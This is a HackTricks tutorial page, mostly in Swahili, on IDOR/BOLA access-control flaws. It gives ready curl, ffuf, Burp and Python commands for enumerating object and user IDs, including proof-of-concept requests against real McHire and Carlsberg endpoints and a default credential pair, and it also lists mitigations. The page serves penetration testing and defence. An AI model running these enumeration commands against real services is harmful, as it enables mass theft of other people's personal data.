IDOR (Insecure Direct Object Reference)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) inapotokea wakati endpoint ya web au API inafichua au inakubali identifier inayodhibitiwa na mtumiaji ambayo inatumiwa moja kwa moja kufikia internal object bila kuthibitisha kwamba caller ana ruhusa kufikia/kuhariri object hiyo. Utekelezaji uliofanikiwa kawaida huruhusu horizontal au vertical privilege-escalation kama kusoma au kuhariri data za watumiaji wengine na, katika kesi mbaya zaidi, takeover kamili ya akaunti au exfiltration ya data nyingi.

1. Identifying Potential IDORs

  1. Tafuta parameters zinazorejea object:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Pendelea endpoints ambazo kusoma au kusasisha data (GET, PUT, PATCH, DELETE).
  2. Tambua wakati identifiers ziko mfululizo au zinaweza kutabiriwa – kama ID yako ni 64185742, basi 64185741 huenda ipo.
  3. Chunguza flows zilizofichwa au mbadala (kwa mfano “Paradox team members” link kwenye ukurasa wa login) ambazo zinaweza kufichua APIs za ziada.
  4. Tumia authenticated low-privilege session na badilisha tu ID huku ukiweka token/cookie ile ile. Kutokuwepo kwa kosa la authorization kawaida ni dalili ya IDOR.

Mabadiliko ya mkono ya haraka (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Uorodheshaji otomatiki (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerating predictable download IDs (ffuf)

Paneli za file-hosting zilizo na uthibitisho mara nyingi huhifadhi metadata kwa kila mtumiaji katika jedwali moja la files na hutoa download endpoint kama /download.php?id=<int>. Ikiwa handler inakagua tu kama ID ipo (na si kama inamhusu mtumiaji aliyethibitishwa), unaweza kupiga sweep nafasi ya integer kwa kutumia session cookie yako halali na kuiba backups/configs za wapangaji wengine:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr huondoa templates za aina ya 404 ili hits halisi tu zibaki (kwa mfano, IDs 54/150 zinaleak full site backups na signing material).
  • Mfumo huo huo wa FFUF pia unaweza kufanya kazi na Burp Intruder au loop ya curl — hakikisha tu unaendelea kuwa authenticated wakati unaongeza IDs.

Uorodheshaji wa kombinatori uliothibitishwa (ffuf + jq)

Baadhi ya IDORs zinakubali multiple object IDs (kwa mfano, chat threads kati ya watumiaji wawili). Ikiwa app inachunguza tu kwamba umeingia, unaweza fuzz IDs zote huku ukihifadhi session cookie yako:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

Use jq to canonicalize each pair by sorting its two elements, then unique_by that canonical key. Examples:

  • If your JSON is an array of arrays like [[“A”,“B”],[“B”,“A”],[“C”,“D”]]:

jq ’ map({pair: ., key: (.[0,1] | sort)}) | unique_by(.key) | map(.pair) ’ input.json

  • If your JSON is an array of objects like [{“a”:“A”,“b”:“B”}, {“a”:“B”,“b”:“A”}]:

jq ’ map({pair: ., key: ([.a, .b] | sort)}) | unique_by(.key) | map(.pair) ’ input.json

unique_by keeps the first occurrence for each unordered pair.

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Orakoli ya majibu ya kosa kwa user/file enumeration

Wakati download endpoint inakubali username na filename (kwa mfano /view.php?username=<u>&file=<f>), tofauti ndogo katika ujumbe wa kosa mara nyingi huunda orakoli:

  • username isiyopo → “User not found”
  • filename mbaya lakini extension sahihi → “File does not exist” (wakati mwingine pia huorodhesha mafaili yanayopatikana)
  • extension mbaya → kosa la uthibitisho

Kwa session yoyote iliyothibitishwa, unaweza fuzz parameter ya username wakati ukishikilia filename isiyo hatari na kuchuja kwa kamba “user not found” ili kugundua watumiaji halali:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Mara tu majina ya watumiaji halali yanapotambulika, omba mafaili maalum moja kwa moja (mfano, /view.php?username=amanda&file=privacy.odt). Muundo huu mara nyingi husababisha ufichuzi usioidhinishwa wa nyaraka za watumiaji wengine na credential leakage.

2. Mfano wa Kesi Halisi – McHire Chatbot Platform (2025)

Wakati wa tathmini ya portal ya ajira ya Paradox.ai-powered McHire, IDOR ifuatayo iligunduliwa:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-digit, sequential numeric identifier

Kwa kupunguza lead_id, mjaribu alipata PII kamili za waombaji yoyote (jina, e-mail, simu, anwani, mapendeleo ya zamu) pamoja na consumer JWT ambayo iliruhusu session hijacking. Enumeration of the range 1 – 64,185,742 ilifichua takriban 64 million rekodi.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.

Utafiti wa Kesi – Wristband QR codes as weak bearer tokens (2025–2026)

Flow: Wageni wa maonyesho walipokea makanda yenye QR code; kuchanganua https://homeofcarlsberg.com/memories/ kuliruhusu browser kuchukua printed wristband ID, kuihex-encode, na kuita backend ya cloudfunctions.net kuchukua media iliyohifadhiwa (picha/video + majina). Hakukuwa na no session binding au user authentication—knowledge of the ID = authorization.

Predictability: Wristband IDs zilitokana na muundo mfupi kama C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Sehemu ya mchanganyiko ilikadiriwa kuwa takriban ~26M, rahisi kabisa kuimaliza mtandaoni.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Jenga candidate IDs (kwa mfano [A-Z]-###-###). Tumia Burp Intruder Pitchfork au Cluster Bomb attack na nafasi za herufi na tarakimu. Ongeza payload processing rule → Add prefix/suffix → payload encoding: ASCII hex ili kila ombi litume mnyororo wa hex unaotarajiwa na backend.
  2. Response grep: Chagua Intruder grep-match kwa alama zinazoonekana tu katika majibu halali (kwa mfano, media URLs/JSON fields). IDs zisizohalali kwa kawaida zilirudisha array tupu/404.
  3. Throughput measurement: ~1,000,000 IDs zilijaribiwa katika takriban saa 2 kutoka laptop (~139 req/s). Kwa mwendo huo keyspace yote (~26M) ingeanguka ndani ya takriban saa 52. Run ya mfano tayari ilifichua ~500 wristbands halali (video + majina kamili).
  4. Rate-limiting verification: Baada vendor alipotokana na madai ya throttling, rerun configuration ile ile ya Intruder. Throughput/hit-rate iliyo sawa ilithibitisha kwamba udhibiti haukuwepo/hauna ufanisi; enumeration ikaendelea bila vizuizi.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: Encoding (ASCII→hex/Base64) haiongezi entropia; IDs fupi zinageuka kuwa bearer tokens zinazoweza kuorodheshwa licha ya encoding ya kuonekana. Bila idhini kwa kila mtumiaji na siri zenye entropia kubwa, media/PII inaweza kukusanywa kwa wingi hata kama “rate limiting” imedaiwa.

3. Impact of IDOR / BOLA

  • Horizontal escalation – soma/rekebisha/futa data za watumiaji wengine.
  • Vertical escalation – mtumiaji mwenye vibali vya chini anapata utendakazi uliopangwa kwa admin tu.
  • Uvunjaji wa data kwa wingi ikiwa vitambulisho ni mfululizo (mfano, applicant IDs, invoices).
  • Kuchukuliwa kwa akaunti kwa kuiba tokens au kuweka upya nywila za watumiaji wengine.

4. Mitigations & Best Practices

  1. Lazimisha idhini kwa ngazi ya kitu kwenye kila ombi (user_id == session.user).
  2. Pendelea vitambulisho visivyo vya moja kwa moja, visivyoweza kukadiriwa (UUIDv4, ULID) badala ya auto-increment IDs.
  3. Fanya uthibitishaji upande wa server-side, usitegemee mashamba ya fomu yaliyofichwa au udhibiti wa UI.
  4. Tekeleza ukaguzi wa RBAC / ABAC katika middleware ya kati.
  5. Ongeza rate-limiting & logging ili kugundua kuorodheshwa kwa IDs.
  6. Fanya mtihani wa usalama kwa kila endpoint mpya (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks